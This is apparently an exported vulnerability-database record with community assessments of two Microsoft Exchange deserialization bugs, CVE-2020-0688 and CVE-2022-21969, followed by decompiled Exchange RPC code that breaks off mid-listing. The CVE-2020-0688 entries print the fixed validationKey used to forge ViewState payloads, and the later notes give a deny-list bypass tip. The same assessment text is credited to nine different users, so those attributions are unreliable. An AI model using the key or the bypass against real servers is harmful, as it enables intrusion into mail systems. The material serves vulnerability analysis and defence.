up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**hartescout** at February 26, 2020 2:30am UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**J3rryBl4nks** at March 02, 2020 10:11pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**theguly** at February 28, 2020 4:45pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**xFreed0m** at March 10, 2020 2:34pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**todb-r7** at April 09, 2020 2:08pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**ccondon-r7** at March 06, 2020 11:31pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**tsellers-r7** at March 05, 2020 10:29pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**gwillcox-r7** at October 20, 2020 6:47pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**jbarto** at February 28, 2020 4:51pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-11T00:00:00", "type": "attackerkb", "title": "CVE-2020-0688 - Exchange Control Panel Viewstate Deserialization Bug", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2021-07-27T00:00:00", "id": "AKB:B8A2FA01-8796-4335-8BF4-45147E14AFC9", "href": "https://attackerkb.com/topics/XbYcn2Mckk/cve-2020-0688---exchange-control-panel-viewstate-deserialization-bug", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T15:05:59", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-21846, CVE-2022-21855.\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at July 10, 2022 7:02am UTC reported:\n\nThere is a nice writeup on this at <https://medium.com/@frycos/searching-for-deserialization-protection-bypasses-in-microsoft-exchange-cve-2022-21969-bfa38f63a62d>. The bug appears to be a deserialization bug that occurs when loading a specific file, however according to the demo video at <https://gist.github.com/Frycos/a446d86d75c09330d77f37ca28923ddd> it seems to be more of a local attack. That being said it would grant you an LPE to SYSTEM if you were able to trigger it. Furthermore Frycos mentions that he thinks Microsoft didn\u2019t fix the root issue when he wrote the blog (as of January 12th 2022), so its possible the root issue wasn\u2019t fixed, though Frycos mentioned he didn\u2019t look into this further.\n\nFrom <https://twitter.com/MCKSysAr/status/1524518517990727683> it does seem like at the very least some exploitation attempts have been made to try exploit this although writing to `C:\\Program Files\\Microsoft\\Exchange Server\\V15\\UnifiedMessaging\\voicemail` to trigger the bug via making it process a voicemail has proven to be difficult to do. It does however note my tip, shown later in this writeup, of how to bypass the deny list by using `System.Runtime.Remoting.ObjRef` as was pointed out online, was valid.\n\nWhat follows below is some of my notes that I wrote up a while back and never published. Hopefully they are of help to someone.\n\n# Overview\n\n## Background info\n\nDeserialization vulnerability leading to RCE potentially. \nGot a CVSS 3.1 score of 9.0 with a temporal score metric score of 7.8.\n\nInteresting that it mentions the attack vector is Adjacent and the article notes that this may be only cause of the way that he exploited it and may indicate they didn\u2019t fix the root issue.\n\nLow attack complexity and low privileges required seems to indicate it may be authenticated but you don\u2019t need many privileges??? I need to check on this further.\n\nHigh impact on everything else suggest this is a full compromise; this would be in line with leaking the hash.\n\n## Affected\n\n * Microsoft Exchange Server 2019 Cumulative Update 11 prior to January 2022 security update. \n\n * Microsoft Exchange Server 2019 Cumulative Update 10 prior to January 2022 security update. \n\n * Microsoft Exchange Server 2016 Cumulative Update 22 prior to January 2022 security update. \n\n * Microsoft Exchange Server 2016 Cumulative Update 21 prior to January 2022 security update. \n\n * Microsoft Exchange Server 2013 Cumulative Update 23 prior to January 2022 security update. \n\n\n## Fixed By\n\nKB5008631\n\n## Other vulns fixed in same patch\n\nCVE-2022-21846 <\u2013 NSA reported this one. \nCVE-2022-21855 <\u2013 Reported by Andrew Ruddick of MSRC.\n\n# Writeup Review\n\nOriginal writeup: <https://www.instapaper.com/read/1487196325>\n\nWe have well known _sinks_ in [[.NET]] whereby one can make deserialization calls from unprotected formatters such as `BinaryFormatter`. These formatters as noted in [[CVE-2021-42321]] don\u2019t have any `SerializationBinder` or similar binders attached to them, which means that they are open to deserialize whatever they like, without any binder limiting them to what they can deserialize.\n\nInitial search for vulnerabilities took place around Exchange\u2019s `Rpc` functions, which use a binary protocol created by Microsoft for communication instead of using normal HTTP requests.\n\nLooking around we can see `Microsoft.Exchange.Rpc.ExchangeCertificates.ExchangeCertificateRpcServer` contains several function prototypes:\n \n \n // Microsoft.Exchange.Rpc.ExchangeCertificate.ExchangeCertificateRpcServer \n using System; \n using System.Security; \n using Microsoft.Exchange.Rpc; \n \n internal abstract class ExchangeCertificateRpcServer : RpcServerBase \n { \n \u00a0\u00a0\u00a0\u00a0public unsafe static IntPtr RpcIntfHandle = (IntPtr)<Module>.IExchangeCertificate_v1_0_s_ifspec; \n \n \u00a0\u00a0\u00a0\u00a0public abstract byte[] GetCertificate(int version, byte[] pInBytes); \n \n \u00a0\u00a0\u00a0\u00a0public abstract byte[] CreateCertificate(int version, byte[] pInBytes); \n \n \u00a0\u00a0\u00a0\u00a0public abstract byte[] RemoveCertificate(int version, byte[] pInBytes); \n \n \u00a0\u00a0\u00a0\u00a0public abstract byte[] ExportCertificate(int version, byte[] pInBytes, SecureString password); \n \n \u00a0\u00a0\u00a0\u00a0public abstract byte[] ImportCertificate(int version, byte[] pInBytes, SecureString password); \n \n \u00a0\u00a0\u00a0\u00a0public abstract byte[] EnableCertificate(int version, byte[] pInBytes); \n \n \u00a0\u00a0\u00a0\u00a0public ExchangeCertificateRpcServer() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nThese are then implemented in `Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServer`.\n \n \n // Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServer \n using System; \n using System.Security; \n using System.Security.AccessControl; \n using System.Security.Principal; \n using Microsoft.Exchange.Management.SystemConfigurationTasks; \n using Microsoft.Exchange.Rpc; \n using Microsoft.Exchange.Rpc.ExchangeCertificate; \n using Microsoft.Exchange.Servicelets.ExchangeCertificate; \n \n internal class ExchangeCertificateServer : ExchangeCertificateRpcServer \n { \n \u00a0\u00a0\u00a0\u00a0internal const string RequestStoreName = \"REQUEST\"; \n \n \u00a0\u00a0\u00a0\u00a0private static ExchangeCertificateServer server; \n \n \u00a0\u00a0\u00a0\u00a0public static bool Start(out Exception e) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0e = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0SecurityIdentifier securityIdentifier = new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, null); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0FileSystemAccessRule accessRule = new FileSystemAccessRule(securityIdentifier, FileSystemRights.Read, AccessControlType.Allow); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0FileSecurity fileSecurity = new FileSecurity(); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fileSecurity.SetOwner(securityIdentifier); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fileSecurity.SetAccessRule(accessRule); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0server = (ExchangeCertificateServer)RpcServerBase.RegisterServer(typeof(ExchangeCertificateServer), fileSecurity, 1u, isLocalOnly: false); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return true; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (RpcException ex) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0RpcException ex2 = (RpcException)(e = ex); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return false; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public static void Stop() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (server != null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0RpcServerBase.StopServer(ExchangeCertificateRpcServer.RpcIntfHandle); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0server = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override byte[] CreateCertificate(int version, byte[] inputBlob) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateServerHelper.CreateCertificate(ExchangeCertificateRpcVersion.Version1, inputBlob); \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override byte[] GetCertificate(int version, byte[] inputBlob) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateServerHelper.GetCertificate(ExchangeCertificateRpcVersion.Version1, inputBlob); \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override byte[] RemoveCertificate(int version, byte[] inputBlob) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateServerHelper.RemoveCertificate(ExchangeCertificateRpcVersion.Version1, inputBlob); \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override byte[] ExportCertificate(int version, byte[] inputBlob, SecureString password) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateServerHelper.ExportCertificate(ExchangeCertificateRpcVersion.Version1, inputBlob, password); \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override byte[] ImportCertificate(int version, byte[] inputBlob, SecureString password) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateServerHelper.ImportCertificate(ExchangeCertificateRpcVersion.Version1, inputBlob, password); \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override byte[] EnableCertificate(int version, byte[] inputBlob) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateServerHelper.EnableCertificate(ExchangeCertificateRpcVersion.Version1, inputBlob); \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nExamining these functions we can see a lot of them take a byte array input named `byte[] inputBlob`. If we follow the `ImportCertificate()` function here as an example we can see that the implementation will call into `Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServerHelper`, as is also true for the other functions.\n \n \n // Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServerHelper \n using System; \n using System.Collections.Generic; \n using System.Management.Automation; \n using System.Security; \n using System.Security.Cryptography; \n using System.Security.Cryptography.X509Certificates; \n using System.Text; \n using Microsoft.Exchange.Data; \n using Microsoft.Exchange.Data.Common; \n using Microsoft.Exchange.Data.Directory; \n using Microsoft.Exchange.Data.Directory.Management; \n using Microsoft.Exchange.Data.Directory.SystemConfiguration; \n using Microsoft.Exchange.Extensions; \n using Microsoft.Exchange.Management.FederationProvisioning; \n using Microsoft.Exchange.Management.Metabase; \n using Microsoft.Exchange.Management.SystemConfigurationTasks; \n using Microsoft.Exchange.Management.Tasks; \n using Microsoft.Exchange.Net; \n using Microsoft.Exchange.Security.Cryptography.X509Certificates; \n using Microsoft.Exchange.Servicelets.ExchangeCertificate; \n \n internal class ExchangeCertificateServerHelper \n { \n \n ... \n \n \u00a0\u00a0\u00a0\u00a0public static byte[] ImportCertificate(ExchangeCertificateRpcVersion rpcVersion, byte[] inputBlob, SecureString password) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0bool flag = false; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ExchangeCertificateRpc exchangeCertificateRpc = new ExchangeCertificateRpc(rpcVersion, inputBlob, null); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (string.IsNullOrEmpty(exchangeCertificateRpc.ImportCert)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateRpc.SerializeError(rpcVersion, Strings.ImportCertificateDataInvalid, ErrorCategory.ReadError); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Server server = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ITopologyConfigurationSession topologyConfigurationSession = DirectorySessionFactory.Default.CreateTopologyConfigurationSession(ConsistencyMode.IgnoreInvalid, ADSessionSettings.FromRootOrgScopeSet(), 1159, \"ImportCertificate\", \"d:\\\\dbs\\\\sh\\\\e19dt\\\\1103_100001\\\\cmd\\\\c\\\\sources\\\\Dev\\\\Management\\\\src\\\\ServiceHost\\\\Servicelets\\\\ExchangeCertificate\\\\Program\\\\ExchangeCertificateServer.cs\"); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0server = ManageExchangeCertificate.FindLocalServer(topologyConfigurationSession); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (LocalServerNotFoundException) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0flag = true; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (flag || !ManageExchangeCertificate.IsServerRoleSupported(server)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateRpc.SerializeError(rpcVersion, Strings.RoleDoesNotSupportExchangeCertificateTasksException, ErrorCategory.InvalidOperation); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0X509Store x509Store = new X509Store(StoreName.My, StoreLocation.LocalMachine); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509Store.Open(OpenFlags.ReadWrite | OpenFlags.OpenExistingOnly); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (CryptographicException) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509Store = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0List<ServiceData> installed = new List<ServiceData>(); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0GetInstalledRoles(topologyConfigurationSession, server, installed); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0byte[] array = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (CertificateEnroller.TryAcceptPkcs7(exchangeCertificateRpc.ImportCert, out var thumbprint, out var untrustedRoot)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0X509Certificate2Collection x509Certificate2Collection = x509Store.Certificates.Find(X509FindType.FindByThumbprint, thumbprint, validOnly: false); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (x509Certificate2Collection.Count > 0) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!string.IsNullOrEmpty(exchangeCertificateRpc.ImportDescription)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509Certificate2Collection[0].FriendlyName = exchangeCertificateRpc.ImportDescription; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n 